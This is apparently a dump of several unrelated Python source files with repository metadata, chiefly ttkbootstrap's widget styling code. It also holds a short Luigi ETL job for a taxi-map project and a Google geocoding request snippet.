self.theme.colors.get(color))], 'lightcolor': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('selected !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', self.theme.colors.get(color))]}}}) def _style_entry(self): """Create style configuration for ttk entry: *ttk.Entry* The options available in this widget include: - Entry.field: bordercolor, lightcolor, darkcolor, fieldbackground - Entry.padding: padding, relief, shiftrelief - Entry.textarea: font, width """ disabled_fg = (Colors.update_hsv(self.theme.colors.inputbg, vd=-0.2) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.3)) if self.theme.type == 'dark': self.settings.update({'Entry.field': {'element create': ('from', 'default')}}) self.settings.update({ 'TEntry': { 'configure': { 'bordercolor': self.theme.colors.border, 'darkcolor': self.theme.colors.inputbg, 'lightcolor': self.theme.colors.inputbg, 'fieldbackground': self.theme.colors.inputbg, 'foreground': self.theme.colors.inputfg, 'borderwidth': 0, # only applies to border on darktheme 'padding': 5}, 'map': { 'foreground': [('disabled', disabled_fg)], 'bordercolor': [ ('focus !disabled', self.theme.colors.primary), ('hover !disabled', self.theme.colors.bg)], 'lightcolor': [ ('focus !disabled', self.theme.colors.primary), ('hover !disabled', self.theme.colors.primary)], 'darkcolor': [ ('focus !disabled', self.theme.colors.primary), ('hover !disabled', self.theme.colors.primary)]}}}) for color in self.theme.colors: self.settings.update({ f'{color}.TEntry': { 'map': { 'foreground': [ ('disabled', disabled_fg)], 'bordercolor': [ ('focus !disabled', self.theme.colors.get(color)), ('hover !disabled', self.theme.colors.bg)], 'lightcolor': [ ('focus !disabled', self.theme.colors.get(color)), ('hover !disabled', self.theme.colors.get(color))], 'darkcolor': [ ('focus !disabled', self.theme.colors.get(color)), ('hover !disabled', self.theme.colors.get(color))]}}}) def _style_radiobutton(self): """Create style configuration for ttk radiobutton: *ttk.Radiobutton* The options available in this widget include: - Radiobutton.padding: padding, relief, shiftrelief - Radiobutton.indicator: indicatorsize, indicatormargin, indicatorbackground, indicatorforeground, upperbordercolor, lowerbordercolor - Radiobutton.label: compound, space, text, font, foreground, underline, width, anchor, justify, wraplength, embossed, image, stipple, background """ disabled_fg = (Colors.update_hsv(self.theme.colors.inputbg, vd=-0.2) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.3)) disabled_bg = self.theme.colors.inputbg if self.theme.type == 'light' else disabled_fg self.theme_images.update(self._create_radiobutton_images('primary')) self.settings.update({ 'Radiobutton.indicator': { 'element create': ('image', self.theme_images['primary_radio_on'], ('disabled', self.theme_images['primary_radio_disabled']), ('!selected', self.theme_images['primary_radio_off']), {'width': 20, 'border': 4, 'sticky': 'w'})}, 'TRadiobutton': { 'layout': [ ('Radiobutton.padding', {'children': [ ('Radiobutton.indicator', {'side': 'left', 'sticky': ''}), ('Radiobutton.focus', {'children': [ ('Radiobutton.label', {'sticky': 'nswe'})], 'side': 'left', 'sticky': ''})], 'sticky': 'nswe'})], 'configure': { 'font': self.theme.font}, 'map': { 'foreground': [ ('disabled', disabled_fg), ('active', self.theme.colors.primary)], 'indicatorforeground': [ ('disabled', disabled_fg), ('active selected !disabled', self.theme.colors.primary)]}}}) # variations change the indicator color for color in self.theme.colors: self.theme_images.update(self._create_radiobutton_images(color)) self.settings.update({ f'{color}.Radiobutton.indicator': { 'element create': ('image', self.theme_images[f'{color}_radio_on'], ('disabled', self.theme_images[f'{color}_radio_disabled']), ('!selected', self.theme_images[f'{color}_radio_off']), {'width': 20, 'border': 4, 'sticky': 'w'})}, f'{color}.TRadiobutton': { 'layout': [ ('Radiobutton.padding', {'children': [ (f'{color}.Radiobutton.indicator', {'side': 'left', 'sticky': ''}), ('Radiobutton.focus', {'children': [ ('Radiobutton.label', {'sticky': 'nswe'})], 'side': 'left', 'sticky': ''})], 'sticky': 'nswe'})], 'configure': { 'font': self.theme.font}, 'map': { 'foreground': [ ('disabled', disabled_fg), ('active', Colors.update_hsv(self.theme.colors.get(color), vd=-0.2))], 'indicatorforeground': [ ('disabled', disabled_fg), ('active selected !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=-0.2))]}}}) def _create_radiobutton_images(self, colorname): """Create radiobutton assets Args: colorname (str): the name of the color to use for the button on state Returns: Tuple[PhotoImage]: a tuple of widget images. """ prime_color = self.theme.colors.get(colorname) on_border = prime_color if self.theme.type == 'light' else self.theme.colors.selectbg on_indicator = self.theme.colors.selectfg if self.theme.type == 'light' else prime_color on_fill = prime_color if self.theme.type == 'light' else self.theme.colors.selectfg off_border = self.theme.colors.selectbg off_fill = self.theme.colors.inputbg if self.theme.type == 'light' else self.theme.colors.selectfg disabled_fg = (Colors.update_hsv(self.theme.colors.inputbg, vd=-0.2) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.3)) disabled_bg = self.theme.colors.inputbg if self.theme.type == 'light' else disabled_fg # radio off radio_off = Image.new('RGBA', (134, 134)) draw = ImageDraw.Draw(radio_off) draw.ellipse([2, 2, 132, 132], outline=off_border, width=3, fill=off_fill) # radio on radio_on = Image.new('RGBA', (134, 134)) draw = ImageDraw.Draw(radio_on) draw.ellipse([2, 2, 132, 132], outline=on_border, width=12 if self.theme.type == 'light' else 6, fill=on_fill) if self.theme.type == 'light': draw.ellipse([40, 40, 94, 94], fill=on_indicator) # small indicator for light theme else: draw.ellipse([30, 30, 104, 104], fill=on_indicator) # large indicator for dark theme # radio disabled radio_disabled = Image.new('RGBA', (134, 134)) draw = ImageDraw.Draw(radio_disabled) draw.ellipse([2, 2, 132, 132], outline=disabled_fg, width=3, fill=off_fill) return { f'{colorname}_radio_off': ImageTk.PhotoImage(radio_off.resize((14, 14), Image.LANCZOS)), f'{colorname}_radio_on': ImageTk.PhotoImage(radio_on.resize((14, 14), Image.LANCZOS)), f'{colorname}_radio_disabled': ImageTk.PhotoImage(radio_disabled.resize((14, 14), Image.LANCZOS))} def _style_calendar(self): """Create style configuration for the ttkbootstrap.widgets.datechooser The options available in this widget include: - Label.border: bordercolor, lightcolor, darkcolor, relief, borderwidth - Label.padding: padding, relief, shiftrelief - Label.label: compound, space, text, font, foreground, underline, width, anchor, justify, wraplength, embossed, image, stipple, background """ # disabled settings disabled_fg = (Colors.update_hsv(self.theme.colors.inputbg, vd=-0.2) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.3)) # pressed and hover settings pressed_vd = -0.10 self.settings.update({ 'TCalendar': { 'layout': [ ('Toolbutton.border', {'sticky': 'nswe', 'children': [ ('Toolbutton.padding', {'sticky': 'nswe', 'children': [ ('Toolbutton.label', {'sticky': 'nswe'})]})]})], 'configure': { 'foreground': self.theme.colors.fg, 'background': self.theme.colors.bg, 'bordercolor': self.theme.colors.bg, 'darkcolor': self.theme.colors.bg, 'lightcolor': self.theme.colors.bg, 'relief': 'raised', 'font': self.theme.font, 'focusthickness': 0, 'focuscolor': '', 'borderwidth': 1, 'anchor': 'center', 'padding': (10, 5)}, 'map': { 'foreground': [ ('disabled', disabled_fg), ('pressed !disabled', self.theme.colors.selectfg), ('selected !disabled', self.theme.colors.selectfg), ('hover !disabled', self.theme.colors.selectfg)], 'background': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('selected !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', self.theme.colors.primary)], 'bordercolor': [ ('disabled', disabled_fg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('selected !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', self.theme.colors.primary)], 'darkcolor': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('selected !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', self.theme.colors.primary)], 'lightcolor': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('selected !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', self.theme.colors.primary)]}}, 'chevron.TButton': { 'configure': {'font': 'helvetica 14'}}}) for color in self.theme.colors: self.settings.update({ f'{color}.TCalendar': { 'configure': { 'foreground': self.theme.colors.fg, 'background': self.theme.colors.bg, 'bordercolor': self.theme.colors.bg, 'darkcolor': self.theme.colors.bg, 'lightcolor': self.theme.colors.bg, 'relief': 'raised', 'focusthickness': 0, 'focuscolor': '', 'borderwidth': 1, 'padding': (10, 5)}, 'map': { 'foreground': [ ('disabled', disabled_fg), ('pressed !disabled', self.theme.colors.selectfg), ('selected !disabled', self.theme.colors.selectfg), ('hover !disabled', self.theme.colors.selectfg)], 'background': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('selected !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', self.theme.colors.get(color))], 'bordercolor': [ ('disabled', disabled_fg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('selected !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', self.theme.colors.get(color))], 'darkcolor': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('selected !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', self.theme.colors.get(color))], 'lightcolor': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('selected !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', self.theme.colors.get(color))]}}, f'chevron.{color}.TButton': { 'configure': {'font': 'helvetica 14'}}}) def _style_exit_button(self): """Create style configuration for the toolbutton exit button""" disabled_bg = (Colors.update_hsv(self.theme.colors.inputbg, vd=-0.2) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.3)) pressed_vd = -0.2 self.settings.update({ 'exit.TButton': { 'configure': { 'relief': 'flat', 'font': 'helvetica 12'}, 'map': { 'background': [ ('disabled', disabled_bg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', self.theme.colors.danger)]}}}) for color in self.theme.colors: self.settings.update({ f'exit.{color}.TButton': { 'configure': { 'relief': 'flat', 'font': 'helvetica 12'}, 'map': { 'background': [ ('disabled', disabled_bg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', self.theme.colors.danger)]}}}) def _style_meter(self): """Create style configuration for the ttkbootstrap.widgets.meter The options available in this widget include: - Label.border: bordercolor, lightcolor, darkcolor, relief, borderwidth - Label.padding: padding, relief, shiftrelief - Label.label: compound, space, text, font, foreground, underline, width, anchor, justify, wraplength, embossed, image, stipple, background """ self.settings.update({ 'TMeter': { 'layout': [ ('Label.border', {'sticky': 'nswe', 'border': '1', 'children': [ ('Label.padding', {'sticky': 'nswe', 'border': '1', 'children': [ ('Label.label', {'sticky': 'nswe'})]})]})], 'configure': { 'foreground': self.theme.colors.fg, 'background': self.theme.colors.bg}}}) for color in self.theme.colors: self.settings.update({ f'{color}.TMeter': { 'configure': { 'foreground': self.theme.colors.get(color)}}}) def _style_label(self): """Create style configuration for ttk label: *ttk.Label* The options available in this widget include: - Label.border: bordercolor, lightcolor, darkcolor, relief, borderwidth - Label.padding: padding, relief, shiftrelief - Label.label: compound, space, text, font, foreground, underline, width, anchor, justify, wraplength, embossed, image, stipple, background """ self.settings.update({ 'TLabel': { 'configure': { 'foreground': self.theme.colors.fg, 'background': self.theme.colors.bg}}, 'Inverse.TLabel': { 'configure': { 'foreground': self.theme.colors.bg, 'background': self.theme.colors.fg}}}) for color in self.theme.colors: self.settings.update({ f'{color}.TLabel': { 'configure': { 'foreground': self.theme.colors.get(color)}}, f'{color}.Inverse.TLabel': { 'configure': { 'foreground': self.theme.colors.selectfg, 'background': self.theme.colors.get(color)}}, # TODO deprecate this version down the road f'{color}.Invert.TLabel': { 'configure': { 'foreground': self.theme.colors.selectfg, 'background': self.theme.colors.get(color)}}}) def _style_labelframe(self): """Create style configuration for ttk labelframe: *ttk.LabelFrame* The options available in this widget include: - Labelframe.border: bordercolor, lightcolor, darkcolor, relief, borderwidth - Label.fill: background - Label.text: text, font, foreground, underline, width, anchor, justify, wraplength, embossed """ self.settings.update({ 'Labelframe.Label': {'element create': ('from', 'clam')}, 'Label.fill': {'element create': ('from', 'clam')}, 'Label.text': {'element create': ('from', 'clam')}, 'TLabelframe.Label': { 'layout': [('Label.fill', {'sticky': 'nswe', 'children': [('Label.text', {'sticky': 'nswe'})]})], 'configure': { 'foreground': self.theme.colors.fg }}, 'TLabelframe': { 'layout': [('Labelframe.border', {'sticky': 'nswe'})], 'configure': { 'relief': 'raised', 'borderwidth': '1', 'bordercolor': (self.theme.colors.border if self.theme.type == 'light' else self.theme.colors.selectbg), 'lightcolor': self.theme.colors.bg, 'darkcolor': self.theme.colors.bg}}}) for color in self.theme.colors: self.settings.update({ f'{color}.TLabelframe': { 'configure': { 'background': self.theme.colors.get(color), 'lightcolor': self.theme.colors.get(color), 'darkcolor': self.theme.colors.get(color)}}, f'{color}.TLabelframe.Label': { 'configure': { 'foreground': self.theme.colors.selectfg, 'background': self.theme.colors.get(color), 'lightcolor': self.theme.colors.get(color), 'darkcolor': self.theme.colors.get(color)}}}) def _style_checkbutton(self): """Create style configuration for ttk checkbutton: *ttk.Checkbutton* The options available in this widget include: - Checkbutton.padding: padding, relief, shiftrelief - Checkbutton.indicator: indicatorsize, indicatormargin, indicatorbackground, indicatorforeground, upperbordercolor, lowerbordercolor - Checkbutton.focus: focuscolor, focusthickness - Checkbutton.label: compound, space, text, font, foreground, underline, width, anchor, justify, wraplength, embossed, image, stipple, background """ disabled_fg = (Colors.update_hsv(self.theme.colors.inputbg, vd=-0.2) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.3)) self.theme_images.update(self._create_checkbutton_images('primary')) self.settings.update({ 'Checkbutton.indicator': { 'element create': ('image', self.theme_images['primary_checkbutton_on'], ('disabled', self.theme_images['primary_checkbutton_disabled']), ('!selected', self.theme_images['primary_checkbutton_off']), {'width': 20, 'border': 4, 'sticky': 'w'})}, 'TCheckbutton': { 'layout': [ ('Checkbutton.padding', {'children': [ ('primary.Checkbutton.indicator', {'side': 'left', 'sticky': ''}), ('Checkbutton.focus', {'children': [ ('Checkbutton.label', {'sticky': 'nswe'})], 'side': 'left', 'sticky': ''})], 'sticky': 'nswe'})], 'configure': { 'foreground': self.theme.colors.fg, 'background': self.theme.colors.bg, 'focuscolor': ''}, 'map': { 'foreground': [ ('disabled', disabled_fg), ('active !disabled', self.theme.colors.primary)]}}}) # variations change indicator color for color in self.theme.colors: self.theme_images.update(self._create_checkbutton_images(color)) self.settings.update({ f'{color}.Checkbutton.indicator': { 'element create': ('image', self.theme_images[f'{color}_checkbutton_on'], ('disabled', self.theme_images[f'{color}_checkbutton_disabled']), ('!selected', self.theme_images[f'{color}_checkbutton_off']), {'width': 20, 'border': 4, 'sticky': 'w'})}, f'{color}.TCheckbutton': { 'layout': [ ('Checkbutton.padding', {'children': [ (f'{color}.Checkbutton.indicator', {'side': 'left', 'sticky': ''}), ('Checkbutton.focus', {'children': [ ('Checkbutton.label', {'sticky': 'nswe'})], 'side': 'left', 'sticky': ''})], 'sticky': 'nswe'})], 'map': { 'foreground': [ ('disabled', disabled_fg), ('active !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=-0.2))]}}}) def _create_checkbutton_images(self, colorname): """Create radiobutton assets Args: colorname (str): the name of the color to use for the button on state Returns: Tuple[PhotoImage]: a tuple of widget images. """ prime_color = self.theme.colors.get(colorname) on_border = prime_color on_indicator = self.theme.colors.selectbg on_fill = prime_color off_border = self.theme.colors.selectbg off_fill = self.theme.colors.inputbg if self.theme.type == 'light' else self.theme.colors.selectfg disabled_fg = (Colors.update_hsv(self.theme.colors.inputbg, vd=-0.2) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.3)) disabled_bg = self.theme.colors.inputbg if self.theme.type == 'light' else disabled_fg # checkbutton off checkbutton_off = Image.new('RGBA', (134, 134)) draw = ImageDraw.Draw(checkbutton_off) draw.rounded_rectangle([2, 2, 132, 132], radius=16, outline=off_border, width=3, fill=off_fill) # checkbutton on with importlib.resources.open_binary('ttkbootstrap', 'Symbola.ttf') as font_path: fnt = ImageFont.truetype(font_path, 130) checkbutton_on = Image.new('RGBA', (134, 134)) draw = ImageDraw.Draw(checkbutton_on) draw.rounded_rectangle([2, 2, 132, 132], radius=16, fill=on_fill, outline=on_border, width=3) draw.text((20, 8), "✓", font=fnt, fill=self.theme.colors.selectfg) # checkbutton disabled checkbutton_disabled = Image.new('RGBA', (134, 134)) draw = ImageDraw.Draw(checkbutton_disabled) draw.rounded_rectangle([2, 2, 132, 132], radius=16, outline=disabled_fg, width=3, fill=disabled_bg) return { f'{colorname}_checkbutton_off': ImageTk.PhotoImage(checkbutton_off.resize((14, 14), Image.LANCZOS)), f'{colorname}_checkbutton_on': ImageTk.PhotoImage(checkbutton_on.resize((14, 14), Image.LANCZOS)), f'{colorname}_checkbutton_disabled': ImageTk.PhotoImage(checkbutton_disabled.resize((14, 14), Image.LANCZOS))} def _style_solid_menubutton(self): """Apply a solid color style to ttk menubutton: *ttk.Menubutton* The options available in this widget include: - Menubutton.border: bordercolor, lightcolor, darkcolor, relief, borderwidth - Menubutton.focus: focuscolor, focusthickness - Menubutton.indicator: arrowsize, arrowcolor, arrowpadding - Menubutton.padding: compound, space, text, font, foreground, underline, width, anchor, justify, wraplength, embossed, image, stipple, background - Menubutton.label: """ # disabled settings disabled_fg = self.theme.colors.inputfg disabled_bg = (Colors.update_hsv(self.theme.colors.inputbg, vd=-0.2) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.3)) # pressed and hover settings pressed_vd = -0.2 hover_vd = -0.1 self.settings.update({ 'TMenubutton': { 'configure': { 'foreground': self.theme.colors.selectfg, 'background': self.theme.colors.primary, 'bordercolor': self.theme.colors.primary, 'darkcolor': self.theme.colors.primary, 'lightcolor': self.theme.colors.primary, 'arrowsize': 4, 'arrowcolor': self.theme.colors.bg if self.theme.type == 'light' else 'white', 'arrowpadding': (0, 0, 15, 0), 'relief': 'raised', 'focusthickness': 0, 'focuscolor': '', 'padding': (10, 5)}, 'map': { 'arrowcolor': [ ('disabled', disabled_fg)], 'foreground': [ ('disabled', disabled_fg)], 'background': [ ('disabled', disabled_bg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.primary, vd=hover_vd))], 'bordercolor': [ ('disabled', disabled_bg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.primary, vd=hover_vd))], 'darkcolor': [ ('disabled', disabled_bg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.primary, vd=hover_vd))], 'lightcolor': [ ('disabled', disabled_bg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.primary, vd=hover_vd))]}}}) for color in self.theme.colors: self.settings.update({ f'{color}.TMenubutton': { 'configure': { 'foreground': self.theme.colors.selectfg, 'background': self.theme.colors.get(color), 'bordercolor': self.theme.colors.get(color), 'darkcolor': self.theme.colors.get(color), 'lightcolor': self.theme.colors.get(color), 'arrowsize': 4, 'arrowcolor': self.theme.colors.bg if self.theme.type == 'light' else 'white', 'arrowpadding': (0, 0, 15, 0), 'relief': 'raised', 'focusthickness': 0, 'focuscolor': '', 'padding': (10, 5)}, 'map': { 'arrowcolor': [ ('disabled', disabled_fg)], 'foreground': [ ('disabled', disabled_fg)], 'background': [ ('disabled', disabled_bg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=hover_vd))], 'bordercolor': [ ('disabled', disabled_bg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=hover_vd))], 'darkcolor': [ ('disabled', disabled_bg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=hover_vd))], 'lightcolor': [ ('disabled', disabled_bg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=hover_vd))]}}}) def _style_outline_menubutton(self): """Apply and outline style to ttk menubutton: *ttk.Menubutton* The options available in this widget include: - Menubutton.border: bordercolor, lightcolor, darkcolor, relief, borderwidth - Menubutton.focus: focuscolor, focusthickness - Menubutton.indicator: arrowsize, arrowcolor, arrowpadding - Menubutton.padding: compound, space, text, font, foreground, underline, width, anchor, justify, wraplength, embossed, image, stipple, background - Menubutton.label: """ # disabled settings disabled_fg = (Colors.update_hsv(self.theme.colors.inputbg, vd=-0.2) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.3)) # pressed and hover settings pressed_vd = -0.2 hover_vd = -0.1 self.settings.update({ 'Outline.TMenubutton': { 'configure': { 'font': self.theme.font, 'foreground': self.theme.colors.primary, 'background': self.theme.colors.bg, 'bordercolor': self.theme.colors.primary, 'darkcolor': self.theme.colors.bg, 'lightcolor': self.theme.colors.bg, 'arrowcolor': self.theme.colors.primary, 'arrowpadding': (0, 0, 15, 0), 'relief': 'raised', 'focusthickness': 0, 'focuscolor': '', 'padding': (10, 5)}, 'map': { 'foreground': [ ('disabled', disabled_fg), ('pressed !disabled', self.theme.colors.selectfg), ('hover !disabled', self.theme.colors.selectfg)], 'background': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.primary, vd=hover_vd))], 'bordercolor': [ ('disabled', disabled_fg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.primary, vd=hover_vd))], 'darkcolor': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.primary, vd=hover_vd))], 'lightcolor': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.primary, vd=hover_vd))], 'arrowcolor': [ ('disabled', disabled_fg), ('pressed !disabled', self.theme.colors.selectfg), ('hover !disabled', self.theme.colors.selectfg)]}}}) for color in self.theme.colors: self.settings.update({ f'{color}.Outline.TMenubutton': { 'configure': { 'foreground': self.theme.colors.get(color), 'background': self.theme.colors.bg, 'bordercolor': self.theme.colors.get(color), 'darkcolor': self.theme.colors.bg, 'lightcolor': self.theme.colors.bg, 'arrowcolor': self.theme.colors.get(color), 'arrowpadding': (0, 0, 15, 0), 'relief': 'raised', 'focusthickness': 0, 'focuscolor': '', 'padding': (10, 5)}, 'map': { 'foreground': [ ('disabled', disabled_fg), ('pressed !disabled', self.theme.colors.selectfg), ('hover !disabled', self.theme.colors.selectfg)], 'background': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=hover_vd))], 'bordercolor': [ ('disabled', disabled_fg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=hover_vd))], 'darkcolor': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=hover_vd))], 'lightcolor': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=hover_vd))], 'arrowcolor': [ ('disabled', disabled_fg), ('pressed !disabled', self.theme.colors.selectfg), ('hover !disabled', self.theme.colors.selectfg)]}}}) def _style_notebook(self): """Create style configuration for ttk notebook: *ttk.Notebook* The options available in this widget include: - Notebook.client: background, bordercolor, lightcolor, darkcolor - Notebook.tab: background, bordercolor, lightcolor, darkcolor - Notebook.padding: padding, relief, shiftrelief - Notebook.focus: focuscolor, focusthickness - Notebook.label: compound, space, text, font, foreground, underline, width, anchor, justify, wraplength, embossed, image, stipple, background """ border_color = self.theme.colors.border if self.theme.type == 'light' else self.theme.colors.selectbg fg_color = self.theme.colors.inputfg if self.theme.type == 'light' else self.theme.colors.inputbg bg_color = self.theme.colors.inputbg if self.theme.type == 'light' else border_color self.settings.update({ 'TNotebook': { 'configure': { 'bordercolor': border_color, 'lightcolor': self.theme.colors.bg, 'darkcolor': self.theme.colors.bg, 'borderwidth': 1}}, 'TNotebook.Tab': { 'configure': { 'bordercolor': border_color, 'lightcolor': self.theme.colors.bg, 'foreground': self.theme.colors.fg, 'padding': (10, 5)}, 'map': { 'background': [ ('!selected', bg_color)], 'lightcolor': [ ('!selected', bg_color)], 'darkcolor': [ ('!selected', bg_color)], 'bordercolor': [ ('!selected', border_color)], 'foreground': [ ('!selected', fg_color)]}}}) def _style_panedwindow(self): """Create style configuration for ttk paned window: *ttk.PanedWindow* The options available in this widget include: Paned Window: - Panedwindow.background: background Sash: - Sash.hsash: sashthickness - Sash.hgrip: lightcolor, bordercolor, gripcount - Sash.vsash: sashthickness - Sash.vgrip: lightcolor, bordercolor, gripcount """ self.settings.update({ 'TPanedwindow': { 'configure': { 'background': self.theme.colors.bg}}, 'Sash': { 'configure': { 'bordercolor': self.theme.colors.bg, 'lightcolor': self.theme.colors.bg, 'sashthickness': 8, 'sashpad': 0, 'gripcount': 0}}}) def _style_sizegrip(self): """Create style configuration for ttk sizegrip: *ttk.Sizegrip* The options available in this widget include: - Sizegrip.sizegrip: background """ default_color = 'border' if self.theme.type == 'light' else 'inputbg' self._create_sizegrip_images(default_color) self.settings.update({ 'Sizegrip.sizegrip': { 'element create': ('image', self.theme_images[f'{default_color}_sizegrip'])}, 'TSizegrip': { 'layout': [('Sizegrip.sizegrip', {'side': 'bottom', 'sticky': 'se'})]}}) for color in self.theme.colors: self._create_sizegrip_images(color) self.settings.update({ f'{color}.Sizegrip.sizegrip': { 'element create': ('image', self.theme_images[f'{color}_sizegrip'])}, f'{color}.TSizegrip': { 'layout': [(f'{color}.Sizegrip.sizegrip', {'side': 'bottom', 'sticky': 'se'})]}}) def _create_sizegrip_images(self, colorname): """Create assets for size grip Args: colorname (str): the name of the color to use for the sizegrip images """ im = Image.new('RGBA', (14, 14)) draw = ImageDraw.Draw(im) color = self.theme.colors.get(colorname) draw.rectangle((9, 3, 10, 4), fill=color) # top draw.rectangle((6, 6, 7, 7), fill=color) # middle draw.rectangle((9, 6, 10, 7), fill=color) draw.rectangle((3, 9, 4, 10), fill=color) # bottom draw.rectangle((6, 9, 7, 10), fill=color) draw.rectangle((9, 9, 10, 10), fill=color) self.theme_images[f'{colorname}_sizegrip'] = ImageTk.PhotoImage(im)
[ "pefbartimee.com@outlook.com" ]
pefbartimee.com@outlook.com
1456b95995218835c09ad93cd8cfad3b9b0635f1
71d25a539343d5397a73ae538eb8b10aaeb67443
/etl/job_luigi.py
8c8730bbe222aefac1971557834131ff0374283d
[]
no_license
yennanliu/SGTaxiMap
b6c849ffe9fb204fe36097eb4fa1da41931c6ce9
eaf6574ea72c14d4af9e881b88c0684cd273bf62
refs/heads/master
2021-01-19T00:29:13.983586
2020-07-20T09:05:30
2020-07-20T09:05:30
64,672,741
2
2
null
null
null
null
UTF-8
Python
false
false
783
py
import luigi import datetime import pandas as pd import numpy as np import sys import os from utility_scraping import * from utility_IO import * class demo_task(luigi.Task): def my_first_task(): print ('==============') print ('first task') print ('==============') def my_second_task(): print ('==============') print ('2nd task') print ('==============') def run(self): demo_task.my_first_task() demo_task.my_second_task() class Agg_taxi_locations(luigi.Task): def get_locations(): df = get_lon_lat() print (df.head()) #save_output(df).save_user_profile() save_output(df).save_user_profile_DB() def run(self): Agg_taxi_locations.get_locations() if __name__ == '__main__': luigi.run( )
[ "f339339@gmail.com" ]
f339339@gmail.com
2dbcb6562d5351b4f8129178272e0f2cadeaf680
e42726c5ca5551deb8f6765b9148829567cbb361
/python/Python/web scrapping/lat_long_4.py
6065047b65a97540719425bd2dc27c51273a8824
[]
no_license
prashant2109/django_login_tas_practice
f840917fa18eefc073ab183cc3ccc6a380132c66
70da58059263850732b1d3ec9501bea7ddef0d34
refs/heads/master
2022-12-02T03:59:28.275802
2020-08-24T10:00:51
2020-08-24T10:00:51
289,892,746
0
0
null
null
null
null
UTF-8
Python
false
false
250
py
import requests geo_url = 'http://maps.googleapis.com/maps/api/geocode/json' address = {'address':"Pride Appartments, Banerghatta Main Road, Bengaluru, Karnataka, India", 'language':'en'} resp = requests.get(geo_url, params=address) print(resp.text)
[ "9109kumar@gmail.com" ]
9109kumar@gmail.com
19a842dd389f865da1c888c67e2d54b281c5ecb0
efc9b70544c0bc108aaec0ed6a2aefdf208fd266
/151_ReverseWords_in_a_String.py
5cc38f2a6a3e481c1101aae8de9cf1df1e3400ef
[]
no_license
fxy1018/Leetcode
75fad14701703d6a6a36dd52c338ca56c5fa9eff
